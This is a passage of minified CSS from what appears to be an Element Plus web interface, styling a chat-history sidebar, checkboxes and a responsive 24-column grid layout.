.chat-history-message[data-v-cbf91674]{display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;line-height:22px;font-weight:400}.chat-history .chat-history-item .his-action[data-v-cbf91674]{display:flex;opacity:0;align-items:center;position:absolute;right:4px;top:0;width:16px;height:100%;z-index:2}.chat-history .chat-history-item .chat-history-ctime[data-v-cbf91674]{line-height:16px;padding-top:4px;color:#999aaa}.chat-history .chat-history-item .c-icon[data-v-cbf91674]{z-index:9}.chat-history .chat-history-item .c-icon svg[data-v-cbf91674]{border-radius:4px;background:#f3f0fe;width:16px;height:16px}.chat-history .chat-history-item .icon-more[data-v-cbf91674]{height:100%;display:flex;align-items:center}.chat-history .chat-history-item .icon-more span[data-v-cbf91674]{line-height:0;border-radius:0;transition:all .2s}.chat-history .chat-history-item .icon-more:hover span[data-v-cbf91674]{border-radius:4px;background:#f2f2f5}.chat-history .edit-input[data-v-cbf91674]{height:22px;line-height:22px}.chat-history .edit-input[data-v-cbf91674] .el-input__wrapper{box-shadow:none;padding:1px 0}.chat-history .edit-input[data-v-cbf91674] .el-input__inner{--el-input-inner-height: 22px;padding-right:0}.chat-history .edit-input[data-v-cbf91674] .el-input__suffix{position:static}.chat-history .chat-history-clear[data-v-cbf91674]{position:absolute;right:8px;top:12px;margin-top:0;font-size:12px;white-space:nowrap}.chat-history .chat-history-clear img[data-v-cbf91674]{width:16px;height:16px;margin-right:9px}.el-popper.his-action-popover{padding:6px 0;border:none;border-radius:8px;background:#fff}.el-popper.his-action-popover.el-popper{min-width:unset}.el-popper.his-action-popover .his-action-popover-content ul{padding:0 10px;box-sizing:border-box}.el-popper.his-action-popover .his-action-popover-content ul li{display:flex;align-items:center;justify-content:center;padding:4px 0;text-align:center;cursor:pointer;transition:all .2s}.el-popper.his-action-popover .his-action-popover-content ul li span{margin-left:8px;color:var(--color-text-primary);font-size:14px;font-weight:400;line-height:22px}.el-popper.his-action-popover .his-action-popover-content ul li+li{border-top:1px solid var(--color-input-border)}.el-popper.his-action-popover .his-action-popover-content ul li:hover span,.el-popper.his-action-popover .his-action-popover-content ul li:hover svg{color:var(--color-text-active)}.el-checkbox{--el-checkbox-font-size:14px;--el-checkbox-font-weight:var(--el-font-weight-primary);--el-checkbox-text-color:var(--el-text-color-regular);--el-checkbox-input-height:14px;--el-checkbox-input-width:14px;--el-checkbox-border-radius:var(--el-border-radius-small);--el-checkbox-bg-color:var(--el-fill-color-blank);--el-checkbox-input-border:var(--el-border);--el-checkbox-disabled-border-color:var(--el-border-color);--el-checkbox-disabled-input-fill:var(--el-fill-color-light);--el-checkbox-disabled-icon-color:var(--el-text-color-placeholder);--el-checkbox-disabled-checked-input-fill:var(--el-border-color-extra-light);--el-checkbox-disabled-checked-input-border-color:var(--el-border-color);--el-checkbox-disabled-checked-icon-color:var(--el-text-color-placeholder);--el-checkbox-checked-text-color:var(--el-color-primary);--el-checkbox-checked-input-border-color:var(--el-color-primary);--el-checkbox-checked-bg-color:var(--el-color-primary);--el-checkbox-checked-icon-color:var(--el-color-white);--el-checkbox-input-border-color-hover:var(--el-color-primary)}.el-checkbox{color:var(--el-checkbox-text-color);font-weight:var(--el-checkbox-font-weight);font-size:var(--el-font-size-base);position:relative;cursor:pointer;display:inline-flex;align-items:center;white-space:nowrap;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;margin-right:30px;height:var(--el-checkbox-height,32px)}.el-checkbox.is-disabled{cursor:not-allowed}.el-checkbox.is-bordered{padding:0 15px 0 9px;border-radius:var(--el-border-radius-base);border:var(--el-border);box-sizing:border-box}.el-checkbox.is-bordered.is-checked{border-color:var(--el-color-primary)}.el-checkbox.is-bordered.is-disabled{border-color:var(--el-border-color-lighter)}.el-checkbox.is-bordered.el-checkbox--large{padding:0 19px 0 11px;border-radius:var(--el-border-radius-base)}.el-checkbox.is-bordered.el-checkbox--large .el-checkbox__label{font-size:var(--el-font-size-base)}.el-checkbox.is-bordered.el-checkbox--large .el-checkbox__inner{height:14px;width:14px}.el-checkbox.is-bordered.el-checkbox--small{padding:0 11px 0 7px;border-radius:calc(var(--el-border-radius-base) - 1px)}.el-checkbox.is-bordered.el-checkbox--small .el-checkbox__label{font-size:12px}.el-checkbox.is-bordered.el-checkbox--small .el-checkbox__inner{height:12px;width:12px}.el-checkbox.is-bordered.el-checkbox--small .el-checkbox__inner:after{height:6px;width:2px}.el-checkbox input:focus-visible+.el-checkbox__inner{outline:2px solid var(--el-checkbox-input-border-color-hover);outline-offset:1px;border-radius:var(--el-checkbox-border-radius)}.el-checkbox__input{white-space:nowrap;cursor:pointer;outline:0;display:inline-flex;position:relative}.el-checkbox__input.is-disabled .el-checkbox__inner{background-color:var(--el-checkbox-disabled-input-fill);border-color:var(--el-checkbox-disabled-border-color);cursor:not-allowed}.el-checkbox__input.is-disabled .el-checkbox__inner:after{cursor:not-allowed;border-color:var(--el-checkbox-disabled-icon-color)}.el-checkbox__input.is-disabled.is-checked .el-checkbox__inner{background-color:var(--el-checkbox-disabled-checked-input-fill);border-color:var(--el-checkbox-disabled-checked-input-border-color)}.el-checkbox__input.is-disabled.is-checked .el-checkbox__inner:after{border-color:var(--el-checkbox-disabled-checked-icon-color)}.el-checkbox__input.is-disabled.is-indeterminate .el-checkbox__inner{background-color:var(--el-checkbox-disabled-checked-input-fill);border-color:var(--el-checkbox-disabled-checked-input-border-color)}.el-checkbox__input.is-disabled.is-indeterminate .el-checkbox__inner:before{background-color:var(--el-checkbox-disabled-checked-icon-color);border-color:var(--el-checkbox-disabled-checked-icon-color)}.el-checkbox__input.is-disabled+span.el-checkbox__label{color:var(--el-disabled-text-color);cursor:not-allowed}.el-checkbox__input.is-checked .el-checkbox__inner{background-color:var(--el-checkbox-checked-bg-color);border-color:var(--el-checkbox-checked-input-border-color)}.el-checkbox__input.is-checked .el-checkbox__inner:after{transform:rotate(45deg) scaleY(1);border-color:var(--el-checkbox-checked-icon-color)}.el-checkbox__input.is-checked+.el-checkbox__label{color:var(--el-checkbox-checked-text-color)}.el-checkbox__input.is-focus:not(.is-checked) .el-checkbox__original:not(:focus-visible){border-color:var(--el-checkbox-input-border-color-hover)}.el-checkbox__input.is-indeterminate .el-checkbox__inner{background-color:var(--el-checkbox-checked-bg-color);border-color:var(--el-checkbox-checked-input-border-color)}.el-checkbox__input.is-indeterminate .el-checkbox__inner:before{content:"";position:absolute;display:block;background-color:var(--el-checkbox-checked-icon-color);height:2px;transform:scale(.5);left:0;right:0;top:5px}.el-checkbox__input.is-indeterminate .el-checkbox__inner:after{display:none}.el-checkbox__inner{display:inline-block;position:relative;border:var(--el-checkbox-input-border);border-radius:var(--el-checkbox-border-radius);box-sizing:border-box;width:var(--el-checkbox-input-width);height:var(--el-checkbox-input-height);background-color:var(--el-checkbox-bg-color);z-index:var(--el-index-normal);transition:border-color .25s cubic-bezier(.71,-.46,.29,1.46),background-color .25s cubic-bezier(.71,-.46,.29,1.46),outline .25s cubic-bezier(.71,-.46,.29,1.46)}.el-checkbox__inner:hover{border-color:var(--el-checkbox-input-border-color-hover)}.el-checkbox__inner:after{box-sizing:content-box;content:"";border:1px solid transparent;border-left:0;border-top:0;height:7px;left:4px;position:absolute;top:1px;transform:rotate(45deg) scaleY(0);width:3px;transition:transform .15s ease-in 50ms;transform-origin:center}.el-checkbox__original{opacity:0;outline:0;position:absolute;margin:0;width:0;height:0;z-index:-1}.el-checkbox__label{display:inline-block;padding-left:8px;line-height:1;font-size:var(--el-checkbox-font-size)}.el-checkbox.el-checkbox--large{height:40px}.el-checkbox.el-checkbox--large .el-checkbox__label{font-size:14px}.el-checkbox.el-checkbox--large .el-checkbox__inner{width:14px;height:14px}.el-checkbox.el-checkbox--small{height:24px}.el-checkbox.el-checkbox--small .el-checkbox__label{font-size:12px}.el-checkbox.el-checkbox--small .el-checkbox__inner{width:12px;height:12px}.el-checkbox.el-checkbox--small .el-checkbox__input.is-indeterminate .el-checkbox__inner:before{top:4px}.el-checkbox.el-checkbox--small .el-checkbox__inner:after{width:2px;height:6px}.el-checkbox:last-of-type{margin-right:0}.el-row{display:flex;flex-wrap:wrap;position:relative;box-sizing:border-box}.el-row.is-justify-center{justify-content:center}.el-row.is-justify-end{justify-content:flex-end}.el-row.is-justify-space-between{justify-content:space-between}.el-row.is-justify-space-around{justify-content:space-around}.el-row.is-justify-space-evenly{justify-content:space-evenly}.el-row.is-align-top{align-items:flex-start}.el-row.is-align-middle{align-items:center}.el-row.is-align-bottom{align-items:flex-end}[class*=el-col-]{box-sizing:border-box}[class*=el-col-].is-guttered{display:block;min-height:1px}.el-col-0,.el-col-0.is-guttered{display:none}.el-col-0{max-width:0%;flex:0 0 0%}.el-col-offset-0{margin-left:0}.el-col-pull-0{position:relative;right:0}.el-col-push-0{position:relative;left:0}.el-col-1{max-width:4.1666666667%;flex:0 0 4.1666666667%}.el-col-offset-1{margin-left:4.1666666667%}.el-col-pull-1{position:relative;right:4.1666666667%}.el-col-push-1{position:relative;left:4.1666666667%}.el-col-2{max-width:8.3333333333%;flex:0 0 8.3333333333%}.el-col-offset-2{margin-left:8.3333333333%}.el-col-pull-2{position:relative;right:8.3333333333%}.el-col-push-2{position:relative;left:8.3333333333%}.el-col-3{max-width:12.5%;flex:0 0 12.5%}.el-col-offset-3{margin-left:12.5%}.el-col-pull-3{position:relative;right:12.5%}.el-col-push-3{position:relative;left:12.5%}.el-col-4{max-width:16.6666666667%;flex:0 0 16.6666666667%}.el-col-offset-4{margin-left:16.6666666667%}.el-col-pull-4{position:relative;right:16.6666666667%}.el-col-push-4{position:relative;left:16.6666666667%}.el-col-5{max-width:20.8333333333%;flex:0 0 20.8333333333%}.el-col-offset-5{margin-left:20.8333333333%}.el-col-pull-5{position:relative;right:20.8333333333%}.el-col-push-5{position:relative;left:20.8333333333%}.el-col-6{max-width:25%;flex:0 0 25%}.el-col-offset-6{margin-left:25%}.el-col-pull-6{position:relative;right:25%}.el-col-push-6{position:relative;left:25%}.el-col-7{max-width:29.1666666667%;flex:0 0 29.1666666667%}.el-col-offset-7{margin-left:29.1666666667%}.el-col-pull-7{position:relative;right:29.1666666667%}.el-col-push-7{position:relative;left:29.1666666667%}.el-col-8{max-width:33.3333333333%;flex:0 0 33.3333333333%}.el-col-offset-8{margin-left:33.3333333333%}.el-col-pull-8{position:relative;right:33.3333333333%}.el-col-push-8{position:relative;left:33.3333333333%}.el-col-9{max-width:37.5%;flex:0 0 37.5%}.el-col-offset-9{margin-left:37.5%}.el-col-pull-9{position:relative;right:37.5%}.el-col-push-9{position:relative;left:37.5%}.el-col-10{max-width:41.6666666667%;flex:0 0 41.6666666667%}.el-col-offset-10{margin-left:41.6666666667%}.el-col-pull-10{position:relative;right:41.6666666667%}.el-col-push-10{position:relative;left:41.6666666667%}.el-col-11{max-width:45.8333333333%;flex:0 0 45.8333333333%}.el-col-offset-11{margin-left:45.8333333333%}.el-col-pull-11{position:relative;right:45.8333333333%}.el-col-push-11{position:relative;left:45.8333333333%}.el-col-12{max-width:50%;flex:0 0 50%}.el-col-offset-12{margin-left:50%}.el-col-pull-12{position:relative;right:50%}.el-col-push-12{position:relative;left:50%}.el-col-13{max-width:54.1666666667%;flex:0 0 54.1666666667%}.el-col-offset-13{margin-left:54.1666666667%}.el-col-pull-13{position:relative;right:54.1666666667%}.el-col-push-13{position:relative;left:54.1666666667%}.el-col-14{max-width:58.3333333333%;flex:0 0 58.3333333333%}.el-col-offset-14{margin-left:58.3333333333%}.el-col-pull-14{position:relative;right:58.3333333333%}.el-col-push-14{position:relative;left:58.3333333333%}.el-col-15{max-width:62.5%;flex:0 0 62.5%}.el-col-offset-15{margin-left:62.5%}.el-col-pull-15{position:relative;right:62.5%}.el-col-push-15{position:relative;left:62.5%}.el-col-16{max-width:66.6666666667%;flex:0 0 66.6666666667%}.el-col-offset-16{margin-left:66.6666666667%}.el-col-pull-16{position:relative;right:66.6666666667%}.el-col-push-16{position:relative;left:66.6666666667%}.el-col-17{max-width:70.8333333333%;flex:0 0 70.8333333333%}.el-col-offset-17{margin-left:70.8333333333%}.el-col-pull-17{position:relative;right:70.8333333333%}.el-col-push-17{position:relative;left:70.8333333333%}.el-col-18{max-width:75%;flex:0 0 75%}.el-col-offset-18{margin-left:75%}.el-col-pull-18{position:relative;right:75%}.el-col-push-18{position:relative;left:75%}.el-col-19{max-width:79.1666666667%;flex:0 0 79.1666666667%}.el-col-offset-19{margin-left:79.1666666667%}.el-col-pull-19{position:relative;right:79.1666666667%}.el-col-push-19{position:relative;left:79.1666666667%}.el-col-20{max-width:83.3333333333%;flex:0 0 83.3333333333%}.el-col-offset-20{margin-left:83.3333333333%}.el-col-pull-20{position:relative;right:83.3333333333%}.el-col-push-20{position:relative;left:83.3333333333%}.el-col-21{max-width:87.5%;flex:0 0 87.5%}.el-col-offset-21{margin-left:87.5%}.el-col-pull-21{position:relative;right:87.5%}.el-col-push-21{position:relative;left:87.5%}.el-col-22{max-width:91.6666666667%;flex:0 0 91.6666666667%}.el-col-offset-22{margin-left:91.6666666667%}.el-col-pull-22{position:relative;right:91.6666666667%}.el-col-push-22{position:relative;left:91.6666666667%}.el-col-23{max-width:95.8333333333%;flex:0 0 95.8333333333%}.el-col-offset-23{margin-left:95.8333333333%}.el-col-pull-23{position:relative;right:95.8333333333%}.el-col-push-23{position:relative;left:95.8333333333%}.el-col-24{max-width:100%;flex:0 0 100%}.el-col-offset-24{margin-left:100%}.el-col-pull-24{position:relative;right:100%}.el-col-push-24{position:relative;left:100%}@media only screen and (max-width:768px){.el-col-xs-0,.el-col-xs-0.is-guttered{display:none}.el-col-xs-0{max-width:0%;flex:0 0 0%}.el-col-xs-offset-0{margin-left:0}.el-col-xs-pull-0{position:relative;right:0}.el-col-xs-push-0{position:relative;left:0}.el-col-xs-1{display:block;max-width:4.1666666667%;flex:0 0 4.1666666667%}.el-col-xs-offset-1{margin-left:4.1666666667%}.el-col-xs-pull-1{position:relative;right:4.1666666667%}.el-col-xs-push-1{position:relative;left:4.1666666667%}.el-col-xs-2{display:block;max-width:8.3333333333%;flex:0 0 8.3333333333%}.el-col-xs-offset-2{margin-left:8.3333333333%}.el-col-xs-pull-2{position:relative;right:8.3333333333%}.el-col-xs-push-2{position:relative;left:8.3333333333%}.el-col-xs-3{display:block;max-width:12.5%;flex:0 0 12.5%}.el-col-xs-offset-3{margin-left:12.5%}.el-col-xs-pull-3{position:relative;right:12.5%}.el-col-xs-push-3{position:relative;left:12.5%}.el-col-xs-4{display:block;max-width:16.6666666667%;flex:0 0 16.6666666667%}.el-col-xs-offset-4{margin-left:16.6666666667%}.el-col-xs-pull-4{position:relative;right:16.6666666667%}.el-col-xs-push-4{position:relative;left:16.6666666667%}.el-col-xs-5{display:block;max-width:20.8333333333%;flex:0 0 20.8333333333%}.el-col-xs-offset-5{margin-left:20.8333333333%}.el-col-xs-pull-5{position:relative;right:20.8333333333%}.el-col-xs-push-5{position:relative;left:20.8333333333%}.el-col-xs-6{display:block;max-width:25%;flex:0 0 25%}.el-col-xs-offset-6{margin-left:25%}.el-col-xs-pull-6{position:relative;right:25%}.el-col-xs-push-6{position:relative;left:25%}.el-col-xs-7{display:block;max-width:29.1666666667%;flex:0 0 29.1666666667%}.el-col-xs-offset-7{margin-left:29.1666666667%}.el-col-xs-pull-7{position:relative;right:29.1666666667%}.el-col-xs-push-7{position:relative;left:29.1666666667%}.el-col-xs-8{display:block;max-width:33.3333333333%;flex:0 0 33.3333333333%}.el-col-xs-offset-8{margin-left:33.3333333333%}.el-col-xs-pull-8{position:relative;right:33.3333333333%}.el-col-xs-push-8{position:relative;left:33.3333333333%}.el-col-xs-9{display:block;max-width:37.5%;flex:0 0 37.5%}.el-col-xs-offset-9{margin-left:37.5%}.el-col-xs-pull-9{position:relative;right:37.5%}.el-col-xs-push-9{position:relative;left:37.5%}.el-col-xs-10{display:block;max-width:41.6666666667%;flex:0 0 41.6666666667%}.el-col-xs-offset-10{margin-left:41.6666666667%}.el-col-xs-pull-10{position:relative;right:41.6666666667%}.el-col-xs-push-10{position:relative;left:41.6666666667%}.el-col-xs-11{display:block;max-width:45.8333333333%;flex:0 0 45.8333333333%}.el-col-xs-offset-11{margin-left:45.8333333333%}.el-col-xs-pull-11{position:relative;right:45.8333333333%}.el-col-xs-push-11{position:relative;left:45.8333333333%}.el-col-xs-12{display:block;max-width:50%;flex:0 0 50%}.el-col-xs-offset-12{margin-left:50%}.el-col-xs-pull-12{position:relative;right:50%}.el-col-xs-push-12{position:relative;left:50%}.el-col-xs-13{display:block;max-width:54.1666666667%;flex:0 0 54.1666666667%}.el-col-xs-offset-13{margin-left:54.1666666667%}.el-col-xs-pull-13{position:relative;right:54.1666666667%}.el-col-xs-push-13{position:relative;left:54.1666666667%}.el-col-xs-14{display:block;max-width:58.3333333333%;flex:0 0 58.3333333333%}.el-col-xs-offset-14{margin-left:58.3333333333%}.el-col-xs-pull-14{position:relative;right:58.3333333333%}.el-col-xs-push-14{position:relative;left:58.3333333333%}.el-col-xs-15{display:block;max-width:62.5%;flex:0 0 62.5%}.el-col-xs-offset-15{margin-left:62.5%}.el-col-xs-pull-15{position:relative;right:62.5%}.el-col-xs-push-15{position:relative;left:62.5%}.el-col-xs-16{display:block;max-width:66.6666666667%;flex:0 0 66.6666666667%}.el-col-xs-offset-16{margin-left:66.6666666667%}.el-col-xs-pull-16{position:relative;right:66.6666666667%}.el-col-xs-push-16{position:relative;left:66.6666666667%}.el-col-xs-17{display:block;max-width:70.8333333333%;flex:0 0 70.8333333333%}.el-col-xs-offset-17{margin-left:70.8333333333%}.el-col-xs-pull-17{position:relative;right:70.8333333333%}.el-col-xs-push-17{position:relative;left:70.8333333333%}.el-col-xs-18{display:block;max-width:75%;flex:0 0 75%}.el-col-xs-offset-18{margin-left:75%}.el-col-xs-pull-18{position:relative;right:75%}.el-col-xs-push-18{position:relative;left:75%}.el-col-xs-19{display:block;max-width:79.1666666667%;flex:0 0 79.1666666667%}.el-col-xs-offset-19{margin-left:79.1666666667%}.el-col-xs-pull-19{position:relative;right:79.1666666667%}.el-col-xs-push-19{position:relative;left:79.1666666667%}.el-col-xs-20{display:block;max-width:83.3333333333%;flex:0 0 83.3333333333%}.el-col-xs-offset-20{margin-left:83.3333333333%}.el-col-xs-pull-20{position:relative;right:83.3333333333%}.el-col-xs-push-20{position:relative;left:83.3333333333%}.el-col-xs-21{display:block;max-width:87.5%;flex:0 0 87.5%}.el-col-xs-offset-21{margin-left:87.5%}.el-col-xs-pull-21{position:relative;right:87.5%}.el-col-xs-push-21{position:relative;left:87.5%}.el-col-xs-22{display:block;max-width:91.6666666667%;flex:0 0 91.6666666667%}.el-col-xs-offset-22{margin-left:91.6666666667%}.el-col-xs-pull-22{position:relative;right:91.6666666667%}.el-col-xs-push-22{position:relative;left:91.6666666667%}.el-col-xs-23{display:block;max-width:95.8333333333%;flex:0 0 95.8333333333%}.el-col-xs-offset-23{margin-left:95.8333333333%}.el-col-xs-pull-23{position:relative;right:95.8333333333%}.el-col-xs-push-23{position:relative;left:95.8333333333%}.el-col-xs-24{display:block;max-width:100%;flex:0 0 100%}.el-col-xs-offset-24{margin-left:100%}.el-col-xs-pull-24{position:relative;right:100%}.el-col-xs-push-24{position:relative;left:100%}}@media only screen and (min-width:768px){.el-col-sm-0,.el-col-sm-0.is-guttered{display:none}.el-col-sm-0{max-width:0%;flex:0 0 0%}.el-col-sm-offset-0{margin-left:0}.el-col-sm-pull-0{position:relative;right:0}.el-col-sm-push-0{position:relative;left:0}.el-col-sm-1{display:block;max-width:4.1666666667%;flex:0 0 4.1666666667%}.el-col-sm-offset-1{margin-left:4.1666666667%}.el-col-sm-pull-1{position:relative;right:4.1666666667%}.el-col-sm-push-1{position:relative;left:4.1666666667%}.el-col-sm-2{display:block;max-width:8.3333333333%;flex:0 0 8.3333333333%}.el-col-sm-offset-2{margin-left:8.3333333333%}.el-col-sm-pull-2{position:relative;right:8.3333333333%}.el-col-sm-push-2{position:relative;left:8.3333333333%}.el-col-sm-3{display:block;max-width:12.5%;flex:0 0 12.5%}.el-col-sm-offset-3{margin-left:12.5%}.el-col-sm-pull-3{position:relative;right:12.5%}.el-col-sm-push-3{position:relative;left:12.5%}.el-col-sm-4{display:block;max-width:16.6666666667%;flex:0 0 16.6666666667%}.el-col-sm-offset-4{margin-left:16.6666666667%}.el-col-sm-pull-4{position:relative;right:16.6666666667%}.el-col-sm-push-4{position:relative;left:16.6666666667%}.el-col-sm-5{display:block;max-width:20.8333333333%;flex:0 0 20.8333333333%}.el-col-sm-offset-5{margin-left:20.8333333333%}.el-col-sm-pull-5{position:relative;right:20.8333333333%}.el-col-sm-push-5{position:relative;left:20.8333333333%}.el-col-sm-6{display:block;max-width:25%;flex:0 0 25%}.el-col-sm-offset-6{margin-left:25%}.el-col-sm-pull-6{position:relative;right:25%}.el-col-sm-push-6{position:relative;left:25%}.el-col-sm-7{display:block;max-width:29.1666666667%;flex:0 0 29.1666666667%}.el-col-sm-offset-7{margin-left:29.1666666667%}.el-col-sm-pull-7{position:relative;right:29.1666666667%}.el-col-sm-push-7{position:relative;left:29.1666666667%}.el-col-sm-8{display:block;max-width:33.3333333333%;flex:0 0 33.3333333333%}.el-col-sm-offset-8{margin-left:33.3333333333%}.el-col-sm-pull-8{position:relative;right:33.3333333333%}.el-col-sm-push-8{position:relative;left:33.3333333333%}.el-col-sm-9{display:block;max-width:37.5%;flex:0 0 37.5%}.el-col-sm-offset-9{margin-left:37.5%}.el-col-sm-pull-9{position:relative;right:37.5%}.el-col-sm-push-9{position:relative;left:37.5%}.el-col-sm-10{display:block;max-width:41.6666666667%;flex:0 0 41.6666666667%}.el-col-sm-offset-10{margin-left:41.6666666667%}.el-col-sm-pull-10{position:relative;right:41.6666666667%}.el-col-sm-push-10{position:relative;left:41.6666666667%}.el-col-sm-11{display:block;max-width:45.8333333333%;flex:0 0 45.8333333333%}.el-col-sm-offset-11{margin-left:45.8333333333%}.el-col-sm-pull-11{position:relative;right:45.8333333333%}.el-col-sm-push-11{position:relative;left:45.8333333333%}.el-col-sm-12{display:block;max-width:50%;flex:0 0 50%}.el-col-sm-offset-12{margin-left:50%}.el-col-sm-pull-12{position:relative;right:50%}.el-col-sm-push-12{position:relative;left:50%}.el-col-sm-13{display:block;max-width:54.1666666667%;flex:0 0 54.1666666667%}.el-col-sm-offset-13{margin-left:54.1666666667%}.el-col-sm-pull-13{position:relative;right:54.1666666667%}.el-col-sm-push-13{position:relative;left:54.1666666667%}.el-col-sm-14{display:block;max-width:58.3333333333%;flex:0 0 58.3333333333%}.el-col-sm-offset-14{margin-left:58.3333333333%}.el-col-sm-pull-14{position:relative;right:58.3333333333%}.el-col-sm-push-14{position:relative;left:58.3333333333%}.el-col-sm-15{display:block;max-width:62.5%;flex:0 0 62.5%}.el-col-sm-offset-15{margin-left:62.5%}.el-col-sm-pull-15{position:relative;right:62.5%}.el-col-sm-push-15{position:relative;left:62.5%}.el-col-sm-16{display:block;max-width:66.6666666667%;flex:0 0 66.6666666667%}.el-col-sm-offset-16{margin-left:66.6666666667%}.el-col-sm-pull-16{position:relative;right:66.6666666667%}.el-col-sm-push-16{position:relative;left:66.6666666667%}.el-col-sm-17{display:block;max-width:70.8333333333%;flex:0 0 70.8333333333%}.el-col-sm-offset-17{margin-left:70.8333333333%}.el-col-sm-pull-17{position:relative;right:70.8333333333%}.el-col-sm-push-17{position:relative;left:70.8333333333%}.el-col-sm-18{display:block;max-width:75%;flex:0 0 75%}.el-col-sm-offset-18{margin-left:75%}.el-col-sm-pull-18{position:relative;right:75%}.el-col-sm-push-18{position:relative;left:75%}.el-col-sm-19{display:block;max-width:79.1666666667%;flex:0 0 79.1666666667%}.el-col-sm-offset-19{margin-left:79.1666666667%}.el-col-sm-pull-19{position:relative;right:79.1666666667%}.el-col-sm-push-19{position:relative;left:79.1666666667%}.el-col-sm-20{display:block;max-width:83.3333333333%;flex:0 0 83.3333333333%}.el-col-sm-offset-20{margin-left:83.3333333333%}.el-col-sm-pull-20{position:relative;right:83.3333333333%}.el-col-sm-push-20{position:relative;left:83.3333333333%}.el-col-sm-21{display:block;max-width:87.5%;flex:0 0 87.5%}.el-col-sm-offset-21{margin-left:87.5%}.el-col-sm-pull-21{position:relative;right:87.5%}.el-col-sm-push-21{position:relative;left:87.5%}.el-col-sm-22{display:block;max-width:91.6666666667%;flex:0 0 91.6666666667%}.el-col-sm-offset-22{margin-left:91.6666666667%}.el-col-sm-pull-22{position:relative;right:91.6666666667%}.el-col-sm-push-22{position:relative;left:91.6666666667%}.el-col-sm-23{display:block;max-width:95.8333333333%;flex:0 0 95.8333333333%}.el-col-sm-offset-23{margin-left:95.8333333333%}.el-col-sm-pull-23{position:relative;right:95.8333333333%}.el-col-sm-push-23{position:relative;left:95.8333333333%}.el-col-sm-24{display:block;max-width:100%;flex:0 0 100%}.el-col-sm-offset-24{margin-left:100%}.el-col-sm-pull-24{position:relative;right:100%}.el-col-sm-push-24{position:relative;left:100%}}@media only screen and (min-width:992px){.el-col-md-0,.el-col-md-0.is-guttered{display:none}.el-col-md-0{max-width:0%;flex:0 0 0%}.el-col-md-offset-0{margin-left:0}.el-col-md-pull-0{position:relative;right:0}.el-col-md-push-0{position:relative;left:0}.el-col-md-1{display:block;max-width:4.1666666667%;flex:0 0 4.1666666667%}.el-col-md-offset-1{margin-left:4.1666666667%}.el-col-md-pull-1{position:relative;right:4.1666666667%}.el-col-md-push-1{position:relative;left:4.1666666667%}.el-col-md-2{display:block;max-width:8.3333333333%;flex:0 0 8.3333333333%}.el-col-md-offset-2{margin-left:8.3333333333%}.el-col-md-pull-2{position:relative;right:8.3333333333%}.el-col-md-push-2{position:relative;left:8.3333333333%}.el-col-md-3{display:block;max-width:12.5%;flex:0 0 12.5%}.el-col-md-offset-3{margin-left:12.5%}.el-col-md-pull-3{position:relative;right:12.5%}.el-col-md-push-3{position:relative;left:12.5%}.el-col-md-4{display:block;max-width:16.6666666667%;flex:0 0 16.6666666667%}.el-col-md-offset-4{margin-left:16.6666666667%}.el-col-md-pull-4{position:relative;right:16.6666666667%}.el-col-md-push-4{position:relative;left:16.6666666667%}.el-col-md-5{display:block;max-width:20.8333333333%;flex:0 0 20.8333333333%}.el-col-md-offset-5{margin-left:20.8333333333%}.el-col-md-pull-5{position:relative;right:20.8333333333%}.el-col-md-push-5{position:relative;left:20.8333333333%}.el-col-md-6{display:block;max-width:25%;flex:0 0 25%}.el-col-md-offset-6{margin-left:25%}.el-col-md-pull-6{position:relative;right:25%}.el-col-md-push-6{position:relative;left:25%}.el-col-md-7{display:block;max-width:29.1666666667%;flex:0 0 29.1666666667%}.el-col-md-offset-7{margin-left:29.1666666667%}.el-col-md-pull-7{position:relative;right:29.1666666667%}.el-col-md-push-7{position:relative;left:29.1666666667%}.el-col-md-8{display:block;max-width:33.3333333333%;flex:0 0 33.3333333333%}.el-col-md-offset-8{margin-left:33.3333333333%}.el-col-md-pull-8{position:relative;right:33.3333333333%}.el-col-md-push-8{position:relative;left:33.3333333333%}.el-col-md-9{display:block;max-width:37.5%;flex:0 0 37.5%}.el-col-md-offset-9{margin-left:37.5%}.el-col-md-pull-9{position:relative;right:37.5%}.el-col-md-push-9{position:relative;left:37.5%}.el-col-md-10{display:block;max-width:41.6666666667%;flex:0 0 41.6666666667%}.el-col-md-offset-10{margin-left:41.6666666667%}.el-col-md-pull-10{position:relative;right:41.6666666667%}.el-col-md-push-10{position:relative;left:41.6666666667%}.el-col-md-11{display:block;max-width:45.8333333333%;flex:0 0 45.8333333333%}.el-col-md-offset-11{margin-left:45.8333333333%}.el-col-md-pull-11{position:relative;right:45.8333333333%}.el-col-md-push-11{position:relative;left:45.8333333333%}.el-col-md-12{display:block;max-width:50%;flex:0 0 50%}.el-col-md-offset-12{margin-left:50%}.el-col-md-pull-12{position:relative;right:50%}.el-col-md-push-12{position:relative;left:50%}.el-col-md-13{display:block;max-width:54.1666666667%;flex:0 0 54.1666666667%}.el-col-md-offset-13{margin-left:54.1666666667%}.el-col-md-pull-13{position:relative;right:54.1666666667%}.el-col-md-push-13{position:relative;left:54.1666666667%}.el-col-md-14{display:block;max-width:58.3333333333%;flex:0 0 58.3333333333%}.el-col-md-offset-14{margin-left:58.3333333333%}.el-col-md-pull-14{position:relative;right:58.3333333333%}.el-col-md-push-14{position:relative;left:58.3333333333%}.el-col-md-15{display:block;max-width:62.5%;flex:0 0 62.5%}.el-col-md-offset-15{margin-left:62.5%}.el-col-md-pull-15{position:relative;right:62.5%}.el-col-md-push-15{position:relative;left:62.5%}.el-col-md-16{display:block;max-width:66.6666666667%;flex:0 0 66.6666666667%}.el-col-md-offset-16{margin-left:66.6666666667%}.el-col-md-pull-16{position:relative;right:66.6666666667%}.el-col-md-push-16{position:relative;left:66.6666666667%}.el-col-md-17{display:block;max-width:70.8333333333%;flex:0 0 70.8333333333%}.el-col-md-offset-17{margin-left:70.8333333333%}.el-col-md-pull-17{position:relative;right:70.8333333333%}.el-col-md-push-17{position:relative;left:70.8333333333%}.el-col-md-18{display:block;max-width:75%;flex:0 0 75%}.el-col-md-offset-18{margin-left:75%}.el-col-md-pull-18{position:relative;right:75%}.el-col-md-push-18{position:relative;left:75%}.el-col-md-19{display:block;max-width:79.1666666667%;flex:0 0 79.1666666667%}.el-col-md-offset-19{margin-left:79.1666666667%}.el-col-md-pull-19{position:relative;right:79.1666666667%}.el-col-md-push-19{position:relative;left:79.1666666667%}.el-col-md-20{display:block;max-width:83.3333333333%;flex:0 0 